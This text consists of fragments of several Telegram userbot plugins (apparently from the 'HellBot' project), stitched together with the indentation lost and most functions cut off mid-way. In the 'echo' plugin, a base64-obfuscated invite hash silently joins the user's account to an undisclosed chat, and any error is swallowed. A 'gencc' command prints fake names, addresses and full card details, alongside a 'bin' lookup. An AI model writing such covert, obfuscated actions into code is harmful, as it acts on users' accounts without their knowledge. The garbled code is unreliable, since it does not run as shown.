# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
from telethon.tl.functions.messages import SaveDraftRequest
from userbot import CMD_HELP
from hellbot.utils import admin_cmd, sudo_cmd
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="chain$"))
@bot.on(sudo_cmd(pattern="chain$", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
await event.edit("Counting...")
count = -1
message = event.message
while message:
reply = await message.get_reply_message()
if reply is None:
await event.client(
SaveDraftRequest(await event.get_input_chat(),
"",
reply_to_msg_id=message.id))
message = reply
count += 1
await event.edit(f"Chain length: {count}")
CmdHelp("chain").add_command(
from userbot import ALIVE_NAME
from hellbot.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
HELL_NAME = str(ALIVE_NAME) if ALIVE_NAME else "Hêllẞø†"
kraken = bot.uid
telegraph = Telegraph()
r = telegraph.create_account(short_name=Config.TELEGRAPH_SHORT_NAME)
auth_url = r["auth_url"]
@bot.on(admin_cmd(pattern=f"t(m|t) ?(.*)", outgoing=True))
@bot.on(sudo_cmd(pattern=f"t(m|t) ?(.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
if Config.PLUGIN_CHANNEL is None:
await edit_or_reply(
event,
"Please set the required environment variable `PLUGIN_CHANNEL` for this plugin to work\n\nGo to [HellBot Chat Group](t.me/hellbot_official_chat) for assistance"
)
return
if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY):
os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY)
await event.client.send_message(
Config.PLUGIN_CHANNEL,
"Created New Telegraph account {} for the current session. \n**Do not give this url to anyone, even if they say they are from Telegram!**"
.format(auth_url),
# Credit To @Kraken_The_BadASS . Keep credit if you are going to edit it. Join @HellBot_Official
import asyncio
from hellbot.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="test ?(.*)"))
@bot.on(sudo_cmd(pattern="test ?(.*)", allow_sudo=True))
async def _(event):
if not event.text[0].isalpha() and event.text[0] not in ("/", "#", "@",
"!"):
await edit_or_reply(event, "`Testing Hêllẞø†`")
await asyncio.sleep(1)
await edit_or_reply(event, "`Testing Hêllẞø†.`")
await asyncio.sleep(1)
await edit_or_reply(event, "`Testing Hêllẞø†..`")
await asyncio.sleep(1)
await edit_or_reply(event, "`Testing Hêllẞø†...`")
await asyncio.sleep(1)
await edit_or_reply(event, "`Testing Hêllẞø†....`")
await asyncio.sleep(1)
await edit_or_reply(event, "`Testing Hêllẞø†.....`")
await asyncio.sleep(2)
await edit_or_reply(event, "__Testing Successful__")
await asyncio.sleep(2)
await edit_or_reply(event, "`Generating Output`\nPlease wait")
await asyncio.sleep(2)
await edit_or_reply(event, "__Output Generated Successfully__")
functions.account.UpdateProfileRequest( # pylint:disable=E0602
about=bio))
except FloodWaitError as ex:
logger.warning(str(e))
await asyncio.sleep(ex.seconds)
# else:
# logger.info(r.stringify())
# await borg.send_message( # pylint:disable=E0602
# Config.LOG_GROUP, # pylint:disable=E0602
# "Successfully Changed Profile Bio"
# )
await asyncio.sleep(DEL_TIME_OUT)
@bot.on(admin_cmd(pattern="reserved", outgoing=True))
@bot.on(sudo_cmd(pattern="reserved", allow_sudo=True))
async def mine(event):
if event.fwd_from:
return
""" For .reserved command, get a list of your reserved usernames. """
result = await bot(GetAdminedPublicChannelsRequest())
output_str = ""
for channel_obj in result.chats:
output_str += f"{channel_obj.title}\n@{channel_obj.username}\n\n"
await edit_or_reply(event, output_str)
CmdHelp("auto_profile").add_command(
'autobio', None,
'Changes your bio with time. Need to set BIO_MSG in heroku vars(optional)'
).add_command(
"""WikiMedia.ORG
Syntax: .wikimedia Query"""
import requests
from hellbot.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="wikimedia (.*)"))
@bot.on(sudo_cmd(pattern="wikimedia (.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
input_str = event.pattern_match.group(1)
url = "https://commons.wikimedia.org/w/api.php?action={}&generator={}&prop=imageinfo&gimlimit={}&redirects=1&titles={}&iiprop={}&format={}".format(
"query",
"images",
"5",
input_str,
"timestamp|user|url|mime|thumbmime|mediatype",
"json",
)
r = requests.get(url).json()
result = ""
results = r["query"]["pages"]
for key in results:
current_value = results[key]
pageid = current_value["pageid"]
title = current_value["title"]
imageinfo = current_value["imageinfo"][0]
timestamp = imageinfo["timestamp"]
user = imageinfo["user"]
from userbot.google_imgs import googleimagesdownload
from hellbot.utils import admin_cmd, edit_or_reply, sudo_cmd
from var import Var as Config
async def reply_id(event):
reply_to_id = None
if event.sender_id in Config.SUDO_USERS:
reply_to_id = event.id
if event.reply_to_msg_id:
reply_to_id = event.reply_to_msg_id
return reply_to_id
@bot.on(admin_cmd(pattern=r"img(?: |$)(\d*)? ?(.*)"))
@bot.on(sudo_cmd(pattern=r"img(?: |$)(\d*)? ?(.*)", allow_sudo=True))
async def img_sampler(event):
if event.fwd_from:
return
reply_to_id = await reply_id(event)
if event.is_reply and not event.pattern_match.group(2):
query = await event.get_reply_message()
query = str(query.message)
else:
query = str(event.pattern_match.group(2))
if not query:
return await edit_or_reply(
event, "Reply to a message or pass a query to search!")
cat = await edit_or_reply(event, "`Processing...`")
if event.pattern_match.group(1) != "":
lim = int(event.pattern_match.group(1))
def progress(current, total):
logger.info(
"Downloaded {} of {}\nCompleted {}".format(
current, total, (current / total) * 100
)
)
DOGBIN_URL = "https://del.dog/"
BOTLOG_CHATID = Config.PRIVATE_GROUP_BOT_API_ID
BOTLOG = True
@bot.on(admin_cmd(pattern="paste ?(.*)", outgoing=True))
@bot.on(sudo_cmd(pattern="paste ?(.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
start = datetime.now()
if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY):
os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY)
input_str = event.pattern_match.group(1)
message = "SYNTAX: `.paste <long text to include>`"
if input_str:
message = input_str
elif event.reply_to_msg_id:
previous_message = await event.get_reply_message()
if previous_message.media:
downloaded_file_name = await borg.download_media(
previous_message,
async def add_frame(imagefile, endname, x, color):
image = Image.open(imagefile)
inverted_image = PIL.ImageOps.expand(image, border=x, fill=color)
inverted_image.save(endname)
async def crop(imagefile, endname, x):
image = Image.open(imagefile)
inverted_image = PIL.ImageOps.crop(image, border=x)
inverted_image.save(endname)
@hellbot.on(admin_cmd(pattern="invert$", outgoing=True))
@hellbot.on(sudo_cmd(pattern="invert$", allow_sudo=True))
async def memes(hell):
if hell.fwd_from:
return
reply = await hell.get_reply_message()
if not (reply and (reply.media)):
await edit_or_reply(hell, "`Reply to supported Media...`")
return
hellid = hell.reply_to_msg_id
if not os.path.isdir("./temp/"):
os.mkdir("./temp/")
hell = await edit_or_reply(hell, "`Fetching media data`")
from telethon.tl.functions.messages import ImportChatInviteRequest as Get
await asyncio.sleep(2)
hellsticker = await reply.download_media(file="./temp/")
async def get_tz(con):
# Get time zone of the given country. Credits: @aragon12 and @zakaryan2004.
for c_code in c_n:
if con == c_n[c_code]:
return tz(c_tz[c_code][0])
try:
if c_n[con]:
return tz(c_tz[con][0])
except KeyError:
return
@bot.on(admin_cmd(outgoing=True, pattern="climate( (.*)|$)"))
@bot.on(sudo_cmd(pattern="climate( (.*)|$)", allow_sudo=True))
@errors_handler
async def get_weather(weather):
if weather.fwd_from:
return
""" For .weather command, gets the current weather of a city. """
if not OWM_API:
await edit_or_reply(
weather,
"`Get an API key from` https://openweathermap.org/ `first.`")
return
APPID = OWM_API
if not weather.pattern_match.group(1):
CITY = DEFCITY
if not CITY:
await edit_or_reply(
# first userbot to port javes song module...
# keep credit if u wanna kang...
# else u are a gay...no doubt in that....
import asyncio
import re
from telethon.errors.rpcerrorlist import YouBlockedUserError
from userbot import bot
from hellbot.utils import admin_cmd, sudo_cmd, edit_or_reply, progress
from userbot.cmdhelp import CmdHelp
from userbot.helpers.functions import deEmojify
@bot.on(admin_cmd(pattern="lyrics(?: |$)(.*)", outgoing=True))
@bot.on(sudo_cmd(pattern="lyrics(?: |$)(.*)", allow_sudo=True))
async def nope(kraken):
hell = kraken.pattern_match.group(1)
if not hell:
if kraken.is_reply:
(await kraken.get_reply_message()).message
else:
await kraken.edit(
"`Sir please give some query to search and download it for you..!`"
)
return
troll = await bot.inline_query("iLyricsBot", f"{(deEmojify(hell))}")
await troll[0].click(
kraken.chat_id,
from userbot import CMD_HELP
from userbot.helpers.functions import (
convert_toimage,
deEmojify,
phcomment,
threats,
trap,
trash,
)
from hellbot.utils import admin_cmd, edit_or_reply, sudo_cmd
from userbot.cmdhelp import CmdHelp
from . import *
@bot.on(admin_cmd(pattern="threats(?: |$)(.*)"))
@bot.on(sudo_cmd(pattern="threats(?: |$)(.*)", allow_sudo=True))
async def hellbot(hellmemes):
replied = await hellmemes.get_reply_message()
if not os.path.isdir("./temp/"):
os.makedirs("./temp/")
if not replied:
await edit_or_reply(
hellmemes, "`Media file not supported. Reply to a supported media`"
)
return
if replied.media:
hellmemmes = await edit_or_reply(hellmemes, "`Detecting Threats.........`")
else:
await edit_or_reply(
hellmemes, "`Media file not supported. Reply to a suported media`"
)
"""Emoji
Available Commands:
.tp"""
import asyncio
from telethon import events
from hellbot.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="tp", outgoing=True))
@bot.on(sudo_cmd(pattern="tp", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
animation_interval = 0.3
animation_ttl = range(0, 28)
# input_str = event.pattern_match.group(1)
# if input_str == "tp":
await edit_or_reply(event, "Time Pass...")
animation_chars = [
"◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️",
"◻️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️",
"◼️◻️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◻️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◻️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◻️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◻️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\n◼️◼️◼️◻️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\n◼️◼️◻️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️",
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2
from telethon.tl.types import ChannelParticipantsAdmins
from hellbot.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern=r"tagall (.*)", outgoing=True))
@bot.on(sudo_cmd(pattern=r"tagall (.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
mentions = event.pattern_match.group(1)
chat = await event.get_input_chat()
async for x in borg.iter_participants(chat, 100):
mentions += f" \n [{x.first_name}](tg://user?id={x.id})"
await event.reply(mentions)
await event.delete()
@bot.on(admin_cmd(pattern=r"admins", outgoing=True))
@bot.on(sudo_cmd(pattern=r"admins", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
mentions = "Administrators : "
chat = await event.get_input_chat()
async for x in borg.iter_participants(chat,
filter=ChannelParticipantsAdmins):
from telethon import events
from telethon.errors.rpcerrorlist import YouBlockedUserError
from hellbot.utils import admin_cmd, edit_or_reply, sudo_cmd
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd("circle ?(.*)"))
@bot.on(sudo_cmd(pattern="circle ?(.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
if not event.reply_to_msg_id:
await edit_or_reply(event, "Reply to any user message")
return
reply_message = await event.get_reply_message()
if not reply_message.media:
await edit_or_reply(event, "Reply to media message")
return
chat = "@TelescopyBot"
reply_message.sender
if reply_message.sender.bot:
await edit_or_reply(event, "Reply to actual users message.")
return
kraken = await edit_or_reply(event, "Trying to convert...")
async with event.client.conversation(chat) as conv:
try:
response = conv.wait_event(
events.NewMessage(incoming=True, from_users=397367589))
await event.client.send_message(chat, reply_message)
response = await response
import time
from telethon.events import NewMessage
from telethon.tl.custom import Dialog
from telethon.tl.types import Channel, Chat, User
from userbot import CMD_HELP
from hellbot.utils import admin_cmd, edit_or_reply, sudo_cmd
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="stats$"))
@bot.on(sudo_cmd(pattern="stats$", allow_sudo=True))
async def stats(
event: NewMessage.Event,
) -> None: # pylint: disable = R0912, R0914, R0915
if event.fwd_from:
return
"""Command to get stats about the account"""
hell = await edit_or_reply(event, "`Collecting stats...`")
start_time = time.time()
private_chats = 0
bots = 0
groups = 0
broadcast_channels = 0
admin_in_groups = 0
creator_in_groups = 0
admin_in_broadcast_channels = 0
creator_in_channels = 0
unread_mentions = 0
unread = 0
dialog: Dialog
import re
from hellbot import bot
from hellbot.utils import admin_cmd, sudo_cmd, edit_or_reply
from hellbot.cmdhelp import CmdHelp
from hellbot.helpers.functions import deEmojify
@bot.on(admin_cmd(pattern="anime(?: |$)(.*)"))
@bot.on(sudo_cmd(pattern="anime(?: |$)(.*)", allow_sudo=True))
async def nope(kraken):
hell = kraken.pattern_match.group(1)
if not hell:
if kraken.is_reply:
(await kraken.get_reply_message()).message
else:
await edit_or_reply(
kraken,
"`Sir please give some query to search and download it for you..!`"
)
return
troll = await bot.inline_query("animedb_bot", f"{(deEmojify(hell))}")
await troll[0].click(
kraken.chat_id,
reply_to=kraken.reply_to_msg_id,
silent=True if kraken.is_reply else False,
hide_via=True,
)
await kraken.delete()
import asyncio
from userbot import ALIVE_NAME, CMD_HELP
from hellbot.utils import admin_cmd, edit_or_reply, sudo_cmd
from userbot.cmdhelp import CmdHelp
DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Hell user"
@bot.on(admin_cmd(outgoing=True, pattern="kiler( (.*)|$)"))
@bot.on(sudo_cmd(pattern="kiler( (.*)|$)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
name = event.pattern_match.group(1)
if not name:
name = "die"
animation_interval = 0.7
animation_ttl = range(8)
event = await edit_or_reply(event,
f"**Ready Commando **__{DEFAULTUSER}....")
animation_chars = [
"Ｆｉｉｉｉｉｒｅ",
f"__**Commando **__{DEFAULTUSER} \n\n_/﹋\_\n (҂`_´)\n <,︻╦╤─ ҉ - \n _/﹋\_\n",
f"__**Commando **__{DEFAULTUSER} \n\n_/﹋\_\n (҂`_´)\n <,︻╦╤─ ҉ - -\n _/﹋\_\n",
f"__**Commando **__{DEFAULTUSER} \n\n_/﹋\_\n (҂`_´)\n <,︻╦╤─ ҉ - - -\n _/﹋\_\n",
f"__**Commando **__{DEFAULTUSER} \n\n_/﹋\_\n (҂`_´)\n<,︻╦╤─ ҉ - -\n _/﹋\_\n",
f"__**Commando **__{DEFAULTUSER} \n\n_/﹋\_\n (҂`_´)\n <,︻╦╤─ ҉ - \n _/﹋\_\n",
f"__**Commando **__{DEFAULTUSER} \n\n_/﹋\_\n (҂`_´)\n <,︻╦╤─ ҉ - -\n _/﹋\_\n",
f"__**Commando **__{DEFAULTUSER} \n\n_/﹋\_\n (҂`_´)\n <,︻╦╤─ ҉ - - - {name}\n _/﹋\_\n",
]
"""Get Telegram Profile Picture and other information
Syntax: .ppg @username"""
import html
from telethon.tl.functions.photos import GetUserPhotosRequest
from telethon.tl.functions.users import GetFullUserRequest
from telethon.tl.types import MessageEntityMentionName
from telethon.utils import get_input_location
from hellbot.utils import admin_cmd, sudo_cmd, edit_or_reply
@borg.on(admin_cmd(pattern="ppg ?(.*)", outgoing=True))
@borg.on(sudo_cmd(pattern="ppg ?(.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
replied_user, error_i_a = await get_full_user(event)
if replied_user is None:
await edit_or_reply(event, str(error_i_a))
return False
replied_user_profile_photos = await borg(
GetUserPhotosRequest(
user_id=replied_user.user.id, offset=42, max_id=0, limit=80
)
)
replied_user_profile_photos_count = "NaN"
try:
replied_user_profile_photos_count = replied_user_profile_photos.count
except AttributeError:
hide_via=True)
await event.delete()
else:
await edit_or_reply(event, ["NO_BOT"])
if input_str in CMD_LIST:
string = "Commands found in {}:\n".format(input_str)
for i in CMD_LIST[input_str]:
string += " " + i
string += "\n"
await event.edit(string)
else:
await event.edit(input_str + " is not a valid plugin!")
@bot.on(sudo_cmd(allow_sudo=True, pattern="help ?(.*)"))
async def info(event):
if event.fwd_from:
return
input_str = event.pattern_match.group(1)
if input_str == "text":
string = (
"Total {count} commands found in {plugincount} sudo plugins of VΛDΣЯ\n\n"
)
hellcount = 0
plugincount = 0
for i in sorted(SUDO_LIST):
plugincount += 1
string += f"{plugincount}) Commands found in Plugin " + i + " are \n"
for iter_list in SUDO_LIST[i]:
string += " " + str(iter_list)
import asyncio
from hellbot.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="undlt"))
@bot.on(sudo_cmd(pattern="undlt", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
c = await event.get_chat()
if c.admin_rights or c.creator:
a = await borg.get_admin_log(
event.chat_id, limit=5, search="", edit=False, delete=True
)
for i in a:
await event.reply(i.original.action.message)
else:
await edit_or_reply(event, "You need administrative permissions in order to do this command"
)
await asyncio.sleep(3)
await event.delete()
CmdHelp("undlt").add_command(
"undlt", None, "Sends 5 recently deleted message from that group. Requires admin position"
).add()
import os
from faker import Faker
import datetime
from telethon import functions, types, events
from telethon.tl.functions.messages import DeleteHistoryRequest
from telethon.errors.rpcerrorlist import YouBlockedUserError
from telethon.tl.functions.account import UpdateNotifySettingsRequest
from hellbot.utils import admin_cmd, sudo_cmd, edit_or_reply
from hellbot import CmdHelp, bot as hellbot
@hellbot.on(admin_cmd("gencc$"))
@hellbot.on(sudo_cmd("gencc$", allow_sudo=True))
async def _(hellevent):
if hellevent.fwd_from:
return
hellcc = Faker()
hellname = hellcc.name()
helladre = hellcc.address()
hellcard = hellcc.credit_card_full()
await edit_or_reply(hellevent, f"__**👤 NAME :- **__\n`{hellname}`\n\n__**🏡 ADDRESS :- **__\n`{helladre}`\n\n__**💸 CARD :- **__\n`{hellcard}`")
@hellbot.on(admin_cmd(pattern="bin ?(.*)"))
@hellbot.on(sudo_cmd(pattern="bin ?(.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
hell_input = event.pattern_match.group(1)
snip.media_file_reference)
else:
media = None
message_id = event.message.id
if event.reply_to_msg_id:
message_id = event.reply_to_msg_id
await event.reply(snip.reply, file=media)
if event.chat_id not in last_triggered_filters:
last_triggered_filters[event.chat_id] = []
last_triggered_filters[event.chat_id].append(name)
await asyncio.sleep(DELETE_TIMEOUT)
last_triggered_filters[event.chat_id].remove(name)
@bot.on(admin_cmd(pattern="savefilter (.*)"))
@bot.on(sudo_cmd(pattern="savefilter (.*)", allow_sudo=True))
async def on_snip_save(event):
if event.fwd_from:
return
name = event.pattern_match.group(1)
msg = await event.get_reply_message()
if msg:
snip = {'type': TYPE_TEXT, 'text': msg.message or ''}
if msg.media:
media = None
if isinstance(msg.media, types.MessageMediaPhoto):
media = utils.get_input_photo(msg.media.photo)
snip['type'] = TYPE_PHOTO
elif isinstance(msg.media, types.MessageMediaDocument):
media = utils.get_input_document(msg.media.document)
snip['type'] = TYPE_DOCUMENT
from userbot import ALIVE_NAME, CMD_HELP
from hellbot.utils import admin_cmd, edit_or_reply, sudo_cmd
from userbot.cmdhelp import CmdHelp
DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Hell User"
USERID = bot.uid
mention = f"[{DEFAULTUSER}](tg://user?id={USERID})"
@bot.on(admin_cmd(pattern="carry (.*)"))
@bot.on(sudo_cmd(pattern="carry (.*)", allow_sudo=True))
async def kraken(carry):
if carry.fwd_from:
return
name = carry.pattern_match.group(1)
await edit_or_reply(
carry,
f"**Carry ~> {name} .**\n\n ⣤⣶⣶⣶⣦⣤⣄⡀\n⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀\n⠀⠀⠀⢀⣾⣿⣿⣿⠿⠿⠟⠻⠿⢿⣿⣿⣿⡆\n⠀⠀⠀⢰⣿⣿⡿⠂⠀⠀⠀⠀⠀⠀ ⠈⠉⢻⡇ \n⠀⠀⠀⠈⠿⣿⣇⣠⠤⠤⠤⢤⣀⣤⠤⠤⣺⡏ \n⠀⠀⠀⠀⠐⢉⣯⠹⣀⣀⣢⡸⠉⢏⡄⣀⣯⠁ \n⠀⠀⠀⠀⠡⠀⢹⣆⠀⠀⠀⣀⡀⡰⠀⢠⠖⠂ \n⠀⠀⠀⠀⠀⠈⠙⣿⣿⠀⠠⠚⢋⡁⠀⡜ \n⠀⠀⠀⠀⠀⠀⢸⠈⠙⠦⣤⣀⣤⣤⡼⠁ \n⠀⠀⠀ ⠀⢀⡌⠀⠀⠀⠀ ⠉⢏⡉ \n⠀⠀⠀⣀⣴⣿⣷⣶⣤⣤⣤⣴⣾⣷⣶⣦⡀ \n⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄ \n⠚⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛",
)
@bot.on(admin_cmd(pattern="ded (.*)"))
@bot.on(sudo_cmd(pattern="ded (.*)", allow_sudo=True))
async def kraken(ded):
if ded.fwd_from:
return
name = ded.pattern_match.group(1)
await edit_or_reply(
ded,
import asyncio
from hellbot.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="phub$", outgoing=True))
@bot.on(sudo_cmd(pattern="phub$", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
animation_interval = 0.5
animation_ttl = range(0, 101)
await edit_or_reply(event, "phub")
animation_chars = [
"P_",
"PO_",
"POR_",
"PORN_",
"PORNH_",
"PORNHU_",
"PORNHUB_",
"PORNHUB",
]
#
# Licensed under the Raphielscape Public License, Version 1.b (the "License");
# you may not use this file except in compliance with the License.
#
# You can find misc modules, which dont fit in anything xD
""" Userbot module for other small commands. """
from random import randint
from time import sleep
from hellbot.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="random", outgoing=True))
@bot.on(sudo_cmd(pattern="random", allow_sudo=True))
async def randomise(items):
""" For .random command, get a random item from the list of items. """
if not items.text[0].isalpha() and items.text[0] not in ("/", "#", "@",
"!"):
itemo = (items.text[8:]).split()
index = randint(1, len(itemo) - 1)
await edit_or_reply(
items, "**Query: **\n`" + items.text[8:] + "`\n**Output: **\n`" +
itemo[index] + "`")
@bot.on(admin_cmd(pattern="sleep([0-9]+)?$", outgoing=True))
@bot.on(sudo_cmd(pattern="sleep([0-9]+)?$", allow_sudo=True))
async def sleepybot(time):
""" For .sleep command, let the userbot snooze for a few second. """
.app <app_name> to fetch app details.
.appr <app_name> to fetch app details with Xpl0iter request link.
.mods <app_name> to get the premier app from telegram if available.."""
import bs4
import requests
from userbot import ALIVE_NAME, CMD_HELP
from hellbot.utils import admin_cmd, edit_or_reply, sudo_cmd
from userbot.cmdhelp import CmdHelp
DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Hell User"
@bot.on(admin_cmd(pattern="app (.*)"))
@bot.on(sudo_cmd(pattern="app (.*)", allow_sudo=True))
async def apk(event):
if event.fwd_from:
return
app_name = event.pattern_match.group(1)
event = await edit_or_reply(event, "Searching!")
try:
remove_space = app_name.split(" ")
final_name = "+".join(remove_space)
page = requests.get("https://play.google.com/store/search?q=" +
final_name + "&c=apps")
str(page.status_code)
soup = bs4.BeautifulSoup(page.content, "lxml", from_encoding="utf-8")
results = soup.findAll("div", "ZmHEEd")
app_name = (results[0].findNext("div", "Vpfmgd").findNext(
"div", "WsMG1c nnK0zc").text)
add_channel,
get_all_channels,
in_channels,
rm_channel,
)
logs_id = Config.FBAN_LOGGER_GROUP
bot = "@MissRose_bot"
hell_logo = "./KRAKEN/hellbot_logo.jpg"
# Keep all credits pls
# madewith great effort by @HeisenbergTheDanger
# modified by @kraken_the_badass for fbans
@hellbot.on(admin_cmd(pattern="fban ?(.*)"))
@hellbot.on(sudo_cmd(pattern="fban ?(.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
mssg = await eor(event, "`...`")
if not event.is_reply:
await mssg.edit("Reply to a message to start fban....")
return
channels = get_all_channels()
error_count = 0
sent_count = 0
await mssg.edit("Fbanning....")
if event.reply_to_msg_id:
previous_message = await event.get_reply_message()
if previous_message.sticker or previous_message.poll:
await mssg.edit("**ERROR !** \nOnly Text Message is supported for fban.")
from telethon import events
from telethon.tl.functions.messages import ImportChatInviteRequest as Get
from userbot import CMD_HELP
from userbot.plugins.sql_helper.echo_sql import (
addecho,
get_all_echos,
is_echo,
remove_echo,
)
from hellbot.utils import admin_cmd, edit_or_reply, sudo_cmd
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="echo$"))
@bot.on(sudo_cmd(pattern="echo$", allow_sudo=True))
async def echo(hell):
if hell.fwd_from:
return
if hell.reply_to_msg_id is not None:
reply_msg = await hell.get_reply_message()
user_id = reply_msg.sender_id
chat_id = hell.chat_id
try:
kraken = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
kraken = Get(kraken)
await hell.client(kraken)
except BaseException:
pass
if is_echo(user_id, chat_id):
await edit_or_reply(hell, "The user is already enabled with echo ")
"""Dictionary Plugin for @UniBorg
Syntax: .meaning <word>"""
import requests
from hellbot.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot.cmdhelp import CmdHelp
@bot.on(admin_cmd(pattern="meaning (.*)", outgoing=True))
@bot.on(sudo_cmd(pattern="meaning (.*)", allow_sudo=True))
async def _(event):
if event.fwd_from:
return
input_str = event.pattern_match.group(1)
input_url = "https://bots.shrimadhavuk.me/dictionary/?s={}".format(input_str)
headers = {"USER-AGENT": "Friday"}
caption_str = f"Meaning of __{input_str}__\n"
try:
response = requests.get(input_url, headers=headers).json()
pronounciation = response.get("p")
meaning_dict = response.get("lwo")
for current_meaning in meaning_dict:
current_meaning_type = current_meaning.get("type")
current_meaning_definition = current_meaning.get("definition")
caption_str += (
f"**{current_meaning_type}**: {current_meaning_definition}\n\n"
)
except Exception as e:
caption_str = str(e)
reply_msg_id = event.message.id
if event.reply_to_msg_id:
import os
import asyncio
from userbot import CmdHelp
from hellbot.utils import admin_cmd, sudo_cmd, edit_or_reply
from userbot import bot as hellbot
@hellbot.on(admin_cmd(pattern=r"unpack", outgoing=True))
@hellbot.on(sudo_cmd(pattern=r"unpack"))
async def _(event):
b = await event.client.download_media(await event.get_reply_message())
a = open(b, "r")
c = a.read()
a.close()
a = await edit_or_reply(event, "```unpacking...```")
if len(c) > 4095:
await a.edit("`word limit of telegram is exceded!!! aborting...`")
else:
await event.client.send_message(event.chat_id, f"```{c}```")
await a.delete()
os.remove(b)
@hellbot.on(admin_cmd(pattern="repack ?(.*)", outgoing=True))
@hellbot.on(sudo_cmd(pattern="repack ?(.*)", allow_sudo=True))
async def _(event):
a = await event.get_reply_message()
input_str = event.pattern_match.group(1)
b = open(input_str, "w")